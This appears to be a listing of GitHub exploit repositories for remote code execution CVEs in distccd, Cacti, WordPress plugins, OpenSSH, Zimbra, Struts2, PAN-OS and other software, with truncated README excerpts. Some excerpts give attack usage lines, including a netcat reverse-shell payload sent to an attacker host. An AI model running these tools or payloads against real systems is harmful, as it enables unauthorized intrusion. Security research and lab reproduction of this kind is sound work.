distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: nc -lvnp 4466 Running the exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

SHELL-POC-CVE-2022-46169

SHELL-POC-CVE-2022-46169 A bash proof of concept of the CVE-2022-46169 sendind a revserse shell payload. To make a vulnerable environement on your own, visit this repo : https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application. Usage : ./poc.sh -i -p -u...

0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / Auth Bypass 2FA to RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 This repository contains a proof-of-concept exploit for CVE-2024-10924, an authentication and 2FA bypass vulnerability in the Really Simple Security WordPress plugin tha...

CVE-2026-12485

🚨 CVE-2026-12485 - Critical Unauthenticated Remote Code Execution RCE GeoVision GV-I/O Box 4E – Firmware v2.09 Disclosure Date: June 23, 2026 CWE: CWE-121 – Stack-Based Buffer Overflow Attack Vector: Network Unauthenticated An unauthenticated stack-based buffer overflow vulnerability in the...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternative Approach: Reverse Shell & Callback Test Overview This repository contains alternative payload approaches for the InvokeAI RCE vulnerability CVE-2024-12029 when SSH key injection fails. The payloads are designed to test if...

react2shell-CVE-2025-55182

React2Shell Exploit CVE-2025-55182 Python exploit for Next.js React Server Components RCE vulnerability with HTTP/HTTPS support. 🚀 Quick Start Clone & run git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3 exploitreact2shell.py "" 📖 Usa...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

CVE-2012-2982

CVE-2012-2982 John Hammond | September 4th, 2021 Checking searchsploit for Webmin 1.580 I only saw a Metasploit module for the /file/show.cgi Remote Code Execution attack on that legacy Webmin version. This code is an attempt to recreate that in Python without using Metasploit. Files...

CVE-2024-27956-RCE-File-Package

CVE-2024-27956-RCE File Package Contents: 1. exploit.py Original Creator:https://GitHub.com/diego-tella 2. modifiedexploit.py Modified with an ignore ssl verification option 3. Screenshot 4. wpValvePressplugin.py Python script using URI parameters to search for vulnerable wp plugin...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670 optional arguments:...

cve-2021-1647

CVE-2021-1647 Microsoft Defender Remote Code Execution Vulnerability INFO Password:infected...

Penetration-Testing-Assessment-23-04-2026

Penetration Testing Report – IIS WebDAV Exploitation Overview This project demonstrates a complete penetration testing lifecycle performed on a vulnerable target system. The assessment follows a structured approach including reconnaissance, scanning, enumeration, exploitation, and...

struts2-rce-cve-2017-9805-ruby

Struts2 Vulnerability - CVE-2017-9805 Description Apache Struts2 REST Plugin XStream RCECVE-2017-9805 Usage Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

CVE-2023-26469-Jorani

CVE-2023-26469 Exploitation Tool Overview This is a Proof of Concept PoC exploit tool for Jorani 1.0.0, which allows attackers to achieve remote code execution through path traversal and log injection techniques. ⚠️ Warning: This tool is intended for security research and authorized testing only...

CVE-2022-23642

PoC for Sourcegraph Gitserver 3.37.0 RCE CVE-2022-23642 Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed on the HTTP arguments which can contain arbitrary...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- This is an edited version of the CVE-2018-19422 exploit to fix an small but annoying issue I had. I had to use this exploit in a CTF but I could not get it to properly exploit, just kept failing to login. After an unholy amount of time I finally figured out...

CVE-2026-10795-Lab

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentication Bypass Chained to Plugin Installation Executive Summary This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPl...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 Overview This repository documents the security concepts studied in the TryHackMe room regarding CVE-2025-55182 , a critical vulnerability affecting: React Server Components RSC Next.js and RSC-based frameworks Packages: react-server-dom-webpack react-server-dom-parce...

CVE-2021-22205

CVE-2021-22205 Pocsuite3 For CVE-2021-22205, Unauthorized RCE...

cve-2024-0012_9474-panos_authbypass_reproduction

CVE-2024-0012 / CVE-2024-9474 — PAN-OS Authentication Bypass → Privilege Escalation Chain CVE| Description| CVSS ---|---|--- CVE-2024-0012| PAN-OS Management Interface Authentication Bypass| 9.3 CVE-2024-9474| PAN-OS Privilege Escalation| 6.9 When chained, these vulnerabilities allow...